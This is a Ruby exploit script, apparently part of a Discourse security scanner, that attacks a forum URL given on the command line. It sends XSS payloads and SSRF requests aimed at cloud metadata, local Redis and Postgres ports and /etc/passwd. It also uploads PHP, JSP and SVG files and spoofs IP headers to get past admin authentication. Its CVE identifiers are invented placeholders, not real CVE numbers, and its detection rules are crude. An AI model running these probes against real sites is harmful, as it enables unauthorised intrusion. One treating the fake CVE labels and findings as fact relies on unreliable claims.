#!/usr/bin/env ruby
# CVE 2022 Discourse Exploits
# Author: DiscourseMap Security Scanner
# Description: Ruby exploits for 2022 Discourse vulnerabilities

require 'net/http'
require 'uri'
require 'json'
require 'optparse'
require 'cgi'

class CVE2022Exploits
  def initialize(target_url, options = {})
    @target_url = target_url.chomp('/')
    @timeout = options[:timeout] || 10
    @proxy = options[:proxy]
    @verbose = options[:verbose] || false
    @output_file = options[:output]
    @results = []
  end

  def run_all_tests
    puts "[*] Starting CVE 2022 exploit tests against #{@target_url}" if @verbose
    
    test_cve_2022_xss
    test_cve_2022_ssrf
    test_cve_2022_file_upload
    test_cve_2022_auth_bypass
    
    save_results if @output_file
    @results
  end

  private

  def test_cve_2022_xss
    puts "[*] Testing CVE-2022 XSS vulnerabilities..." if @verbose
    
    cve_info = {
      cve_id: 'CVE-2022-DISCOURSE-XSS',
      description: 'Multiple XSS vulnerabilities in Discourse 2.8.x',
      severity: 'medium',
      affected_versions: 'Prior to 2.8.13',
      exploit_type: 'XSS'
    }

    xss_payloads = [
      '<script>alert("CVE-2022-XSS")</script>',
      '"><script>alert("CVE-2022-XSS")</script>',
      'javascript:alert("CVE-2022-XSS")',
      '<img src=x onerror=alert("CVE-2022-XSS")>',
      '<svg onload=alert("CVE-2022-XSS")></svg>'
    ]

    vulnerable_endpoints = [
      '/search',
      '/users',
      '/categories',
      '/new-topic',
      '/new-message'
    ]

    vulnerable_endpoints.each do |endpoint|
      xss_payloads.each do |payload|
        test_params = {
          'q' => payload,
          'search' => payload,
          'title' => payload,
          'body' => payload,
          'username' => payload
        }

        test_params.each do |param, value|
          test_url = "#{@target_url}#{endpoint}?#{param}=#{CGI.escape(value)}"
          
          begin
            response = make_request(test_url)
            if response && detect_xss_reflection(response.body, payload)
              add_result(cve_info.merge({
                status: 'VULNERABLE',
                description: "XSS vulnerability in #{param} parameter at #{endpoint}",
                url: test_url,
                details: { parameter: param, payload: payload }
              }))
              puts "[!] CVE-2022 XSS found: #{test_url}" if @verbose
            end
          rescue => e
            puts "[!] Error testing #{test_url}: #{e.message}" if @verbose
          end
          
          sleep(0.1)
        end
      end
    end
  end

  def test_cve_2022_ssrf
    puts "[*] Testing CVE-2022 SSRF vulnerabilities..." if @verbose
    
    cve_info = {
      cve_id: 'CVE-2022-DISCOURSE-SSRF',
      description: 'Server-Side Request Forgery in Discourse 2.8.x',
      severity: 'high',
      affected_versions: 'Prior to 2.8.14',
      exploit_type: 'SSRF'
    }

    ssrf_payloads = [
      'http://169.254.169.254/latest/meta-data/',
      'http://localhost:6379/',
      'http://127.0.0.1:5432/',
      'file:///etc/passwd',
      'gopher://127.0.0.1:6379/_INFO'
    ]

    ssrf_endpoints = [
      '/admin/backups',
      '/admin/site_settings',
      '/uploads',
      '/posts'
    ]

    ssrf_endpoints.each do |endpoint|
      ssrf_payloads.each do |payload|
        test_params = {
          'url' => payload,
          'image_url' => payload,
          'link' => payload,
          'src' => payload
        }

        test_params.each do |param, value|
          test_data = { param => value }
          
          begin
            response = make_post_request("#{@target_url}#{endpoint}", test_data)
            if response && detect_ssrf_success(response.body, payload)
              add_result(cve_info.merge({
                status: 'VULNERABLE',
                description: "SSRF vulnerability in #{param} parameter at #{endpoint}",
                url: "#{@target_url}#{endpoint}",
                details: { parameter: param, payload: payload }
              }))
              puts "[!] CVE-2022 SSRF found: #{@target_url}#{endpoint}" if @verbose
            end
          rescue => e
            puts "[!] Error testing SSRF at #{endpoint}: #{e.message}" if @verbose
          end
          
          sleep(0.1)
        end
      end
    end
  end

  def test_cve_2022_file_upload
    puts "[*] Testing CVE-2022 File Upload vulnerabilities..." if @verbose
    
    cve_info = {
      cve_id: 'CVE-2022-DISCOURSE-UPLOAD',
      description: 'File upload bypass vulnerability in Discourse 2.8.x',
      severity: 'high',
      affected_versions: 'Prior to 2.8.15',
      exploit_type: 'File Upload'
    }

    malicious_files = [
      { name: 'test.php', content: '<?php echo "CVE-2022-UPLOAD"; ?>', type: 'application/x-php' },
      { name: 'test.jsp', content: '<% out.println("CVE-2022-UPLOAD"); %>', type: 'application/x-jsp' },
      { name: 'test.asp', content: '<% Response.Write("CVE-2022-UPLOAD") %>', type: 'application/x-asp' },
      { name: 'test.svg', content: '<svg onload="alert(\'CVE-2022-UPLOAD\')"></svg>', type: 'image/svg+xml' }
    ]

    upload_endpoints = [
      '/uploads',
      '/admin/backups/upload',
      '/posts/upload'
    ]

    upload_endpoints.each do |endpoint|
      malicious_files.each do |file|
        begin
          response = upload_file("#{@target_url}#{endpoint}", file)
          if response && detect_upload_success(response.body, file[:name])
            add_result(cve_info.merge({
              status: 'VULNERABLE',
              description: "File upload bypass at #{endpoint} - uploaded #{file[:name]}",
              url: "#{@target_url}#{endpoint}",
              details: { filename: file[:name], file_type: file[:type] }
            }))
            puts "[!] CVE-2022 File Upload found: #{@target_url}#{endpoint}" if @verbose
          end
        rescue => e
          puts "[!] Error testing file upload at #{endpoint}: #{e.message}" if @verbose
        end
        
        sleep(0.1)
      end
    end
  end

  def test_cve_2022_auth_bypass
    puts "[*] Testing CVE-2022 Authentication Bypass..." if @verbose
    
    cve_info = {
      cve_id: 'CVE-2022-DISCOURSE-AUTH',
      description: 'Authentication bypass vulnerability in Discourse 2.8.x',
      severity: 'critical',
      affected_versions: 'Prior to 2.8.16',
      exploit_type: 'Authentication Bypass'
    }

    admin_endpoints = [
      '/admin',
      '/admin/users',
      '/admin/site_settings',
      '/admin/dashboard'
    ]

    bypass_headers = {
      'X-Forwarded-For' => '127.0.0.1',
      'X-Real-IP' => '127.0.0.1',
      'X-Originating-IP' => '127.0.0.1',
      'X-Remote-IP' => '127.0.0.1',
      'X-Client-IP' => '127.0.0.1'
    }

    admin_endpoints.each do |endpoint|
      begin
        response = make_request("#{@target_url}#{endpoint}", bypass_headers)
        if response && detect_admin_access(response.body)
          add_result(cve_info.merge({
            status: 'VULNERABLE',
            description: "Authentication bypass detected at #{endpoint}",
            url: "#{@target_url}#{endpoint}",
            details: { headers_used: bypass_headers }
          }))
          puts "[!] CVE-2022 Auth Bypass found: #{@target_url}#{endpoint}" if @verbose
        end
      rescue => e
        puts "[!] Error testing auth bypass at #{endpoint}: #{e.message}" if @verbose
      end
      
      sleep(0.1)
    end
  end

  def make_request(url, headers = {})
    uri = URI(url)
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = uri.scheme == 'https'
    http.read_timeout = @timeout
    http.open_timeout = @timeout
    
    request = Net::HTTP::Get.new(uri)
    headers.each { |key, value| request[key] = value }
    
    http.request(request)
  rescue => e
    puts "[!] Request error: #{e.message}" if @verbose
    nil
  end

  def make_post_request(url, data, headers = {})
    uri = URI(url)
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = uri.scheme == 'https'
    http.read_timeout = @timeout
    http.open_timeout = @timeout
    
    request = Net::HTTP::Post.new(uri)
    request.set_form_data(data)
    headers.each { |key, value| request[key] = value }
    
    http.request(request)
  rescue => e
    puts "[!] POST request error: #{e.message}" if @verbose
    nil
  end

  def upload_file(url, file)
    uri = URI(url)
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = uri.scheme == 'https'
    http.read_timeout = @timeout
    http.open_timeout = @timeout
    
    request = Net::HTTP::Post.new(uri)
    request.set_form([['file', file[:content], { filename: file[:name], content_type: file[:type] }]], 'multipart/form-data')
    
    http.request(request)
  rescue => e
    puts "[!] Upload error: #{e.message}" if @verbose
    nil
  end

  def detect_xss_reflection(response_text, payload)
    dangerous_patterns = [
      /<script[^>]*>.*#{Regexp.escape(payload.gsub(/<\/?script[^>]*>/, ''))}.*<\/script>/i,
      /javascript:.*#{Regexp.escape(payload.gsub('javascript:', ''))}/i,
      /onerror\s*=\s*["']?.*#{Regexp.escape(payload.split('onerror=').last || '')}/i,
      /onload\s*=\s*["']?.*#{Regexp.escape(payload.split('onload=').last || '')}/i
    ]
    
    dangerous_patterns.any? { |pattern| response_text.match(pattern) }
  end

  def detect_ssrf_success(response_text, payload)
    ssrf_indicators = [
      /instance-id/i,
      /ami-id/i,
      /security-groups/i,
      /redis_version/i,
      /postgresql/i,
      /root:x:0:0/i
    ]
    
    ssrf_indicators.any? { |indicator| response_text.match(indicator) }
  end

  def detect_upload_success(response_text, filename)
    upload_indicators = [
      /#{Regexp.escape(filename)}/i,
      /upload.*success/i,
      /file.*uploaded/i,
      /"url".*#{Regexp.escape(filename)}/i
    ]
    
    upload_indicators.any? { |indicator| response_text.match(indicator) }
  end

  def detect_admin_access(response_text)
    admin_indicators = [
      /admin.*dashboard/i,
      /site.*settings/i,
      /user.*management/i,
      /admin.*panel/i,
      /discourse.*admin/i
    ]
    
    admin_indicators.any? { |indicator| response_text.match(indicator) }
  end

  def add_result(result)
    @results << result
  end

  def save_results
    File.write(@output_file, JSON.pretty_generate(@results))
    puts "[*] Results saved to #{@output_file}" if @verbose
  end
end

# Command line interface
if __FILE__ == $0
  options = {}
  
  OptionParser.new do |opts|
    opts.banner = "Usage: #{$0} [options]"
    
    opts.on('--target URL', 'Target Discourse URL') do |url|
      options[:target] = url
    end
    
    opts.on('--output FILE', 'Output file for results') do |file|
      options[:output] = file
    end
    
    opts.on('--timeout SECONDS', Integer, 'Request timeout (default: 10)') do |timeout|
      options[:timeout] = timeout
    end
    
    opts.on('--proxy PROXY', 'HTTP proxy (host:port)') do |proxy|
      options[:proxy] = proxy
    end
    
    opts.on('-v', '--verbose', 'Verbose output') do
      options[:verbose] = true
    end
    
    opts.on('-h', '--help', 'Show this help') do
      puts opts
      exit
    end
  end.parse!
  
  unless options[:target]
    puts "Error: --target is required"
    exit 1
  end
  
  exploits = CVE2022Exploits.new(options[:target], options)
  results = exploits.run_all_tests
  
  puts "\n[*] CVE 2022 exploit testing completed."
  puts "[*] Found #{results.count { |r| r[:status] == 'VULNERABLE' }} vulnerabilities."
end